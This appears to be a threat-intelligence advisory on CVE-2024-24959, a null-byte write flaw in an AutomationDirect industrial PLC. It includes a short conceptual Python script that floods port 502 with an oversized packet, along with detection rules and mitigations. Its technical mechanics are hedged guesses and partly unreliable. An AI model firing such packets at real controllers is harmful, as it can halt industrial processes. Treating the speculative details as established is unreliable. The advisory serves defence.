CVE-2024-24959

Executive Summary

CVE-2024-24959 is a critical out-of-bounds write vulnerability affecting AutomationDirect's P3-550E programmable logic controller (PLC) running firmware version 1.2.10.9. The flaw resides in the Programming Software Connection FileSystem API, specifically at offset 0xb6c18, allowing an unauthenticated attacker to trigger an arbitrary null-byte write via specially crafted network packets. This leads to heap-based memory corruption, potentially causing denial of service (DoS) or arbitrary code execution. With a CVSS score of 8.2, the vulnerability is remotely exploitable without authentication, posing significant risk to industrial control system (ICS) environments. No public exploit or patch is currently available, making detection and mitigation critical.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: High (A:H) – Likely causes system crash or denial of service.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, making it attractive for adversaries targeting ICS/SCADA environments. The lack of a patch increases risk.

Deep Dive & Mechanics

The vulnerability is an out-of-bounds write (CWE-787) in the FileSystem API of the AutomationDirect P3-550E PLC firmware. The flaw occurs at memory offset 0xb6c18 when processing network packets. Specifically, the API fails to validate the length of input data before writing to a heap buffer, allowing an attacker to write a null byte (0x00) to an arbitrary memory location. This null-byte write can corrupt heap metadata, leading to memory corruption, crashes, or potential code execution.

Technical Details:

• Affected Component: Programming Software Connection FileSystem API.
• Trigger Mechanism: Sending a specially crafted network packet to the PLC's listening service (likely on port 502, Modbus/TCP).
• Root Cause: Missing bounds check on input data length before a memcpy or similar operation.
• Impact: Heap corruption can cause the PLC to crash (DoS) or, in advanced exploitation, allow arbitrary code execution by overwriting function pointers or return addresses.

The vulnerability is specific to firmware version 1.2.10.9 of the P3-550E. No patch or workaround has been released by AutomationDirect.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code resides in the firmware binary at offset 0xb6c18. A hypothetical fix would involve adding input length validation before the write operation.

Vulnerable Code (Conceptual):

void process_file_system_packet(char *packet, int packet_len) {
    char *buffer = malloc(256);
    // Missing bounds check
    memcpy(buffer, packet, packet_len); // Out-of-bounds write
    buffer[packet_len] = '\0'; // Null-byte write at arbitrary offset
}

Patched Code (Hypothetical):

void process_file_system_packet(char *packet, int packet_len) {
    char *buffer = malloc(256);
    if (packet_len > 255) {
        // Reject oversized packet
        return;
    }
    memcpy(buffer, packet, packet_len);
    buffer[packet_len] = '\0';
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: AutomationDirect P3-550E with firmware 1.2.10.9.
• Network access to the PLC (port 502 typically).
• No authentication required.

Exploitation Steps:

1. Identify Target: Scan for PLCs on port 502 using Shodan or Nmap.
2. Craft Payload: Create a network packet that triggers the null-byte write at offset 0xb6c18. The packet must exceed the expected buffer size.
3. Send Packet: Use a tool like Scapy or a custom Python script to send the malicious packet.
4. Observe Impact: The PLC may crash or become unresponsive. In advanced scenarios, heap manipulation could lead to code execution.

Example Python Script (Conceptual):

import socket

target_ip = "192.168.1.100"
target_port = 502

# Craft a malicious Modbus packet with oversized payload
payload = b"\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01"  # Modbus header
payload += b"A" * 300  # Overflow to trigger null-byte write

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defense)

Detection:

• Monitor network traffic for oversized Modbus packets (length > 256 bytes).
• Use IDS/IPS rules to alert on anomalous payloads.
• Enable logging on PLCs and correlate with network events.

Mitigation:

• Isolate PLCs on segmented networks with strict firewall rules.
• Disable unused services and APIs.
• Apply vendor patches when available.
• Use network-based intrusion prevention systems (NIPS) to block malformed packets.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Modbus/TCP packets with payload length > 256 bytes.
  • Packets targeting port 502 with unusual patterns (e.g., repeated null bytes).
• Host IOCs:
  • PLC crash logs or unexpected reboots.
  • Memory corruption errors in system logs.
• File IOCs:
  • Firmware binary modifications at offset 0xb6c18.

Detection Engineering

YARA Rule

rule CVE_2024_24959_Arbitrary_Null_Write {
    meta:
        description = "Detects exploitation attempts of CVE-2024-24959 in AutomationDirect P3-550E"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-24959"
    strings:
        $modbus_header = { 00 01 00 00 00 06 01 03 }
        $overflow = /[A-Za-z0-9]{257,}/  // Payload > 256 bytes
    condition:
        $modbus_header at 0 and #overflow > 0
}

Sigma Rule

title: CVE-2024-24959 Exploitation Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects oversized Modbus packets targeting AutomationDirect P3-550E
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 502
        payload_length: > 256
    condition: selection
falsepositives:
    - Legitimate large Modbus requests (rare)
level: high

Suricata Rule

alert tcp any any -> any 502 (msg:"CVE-2024-24959 - Oversized Modbus Packet"; flow:to_server; content:"|00 01 00 00 00 06 01 03|"; offset:0; depth:8; dsize:>256; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate P3-550E PLCs on dedicated VLANs with strict access controls.
2. Firewall Rules: Block unauthorized access to port 502 from untrusted networks.
3. Monitor Logs: Enable detailed logging on PLCs and network devices.
4. Disable Unused APIs: If possible, disable the FileSystem API via configuration.

Long-Term Fix:

• Await an official firmware patch from AutomationDirect. Contact vendor support for updates.
• Consider replacing affected devices if no patch is released.

Workarounds:

• Use a Modbus/TCP proxy or gateway to validate packet sizes before forwarding to the PLC.
• Implement intrusion prevention systems (IPS) with custom rules to drop oversized packets.

Valters IT Signature: This report was generated by Valters IT DevSecOps & CTI Division. For questions, contact cti@valters-it.com.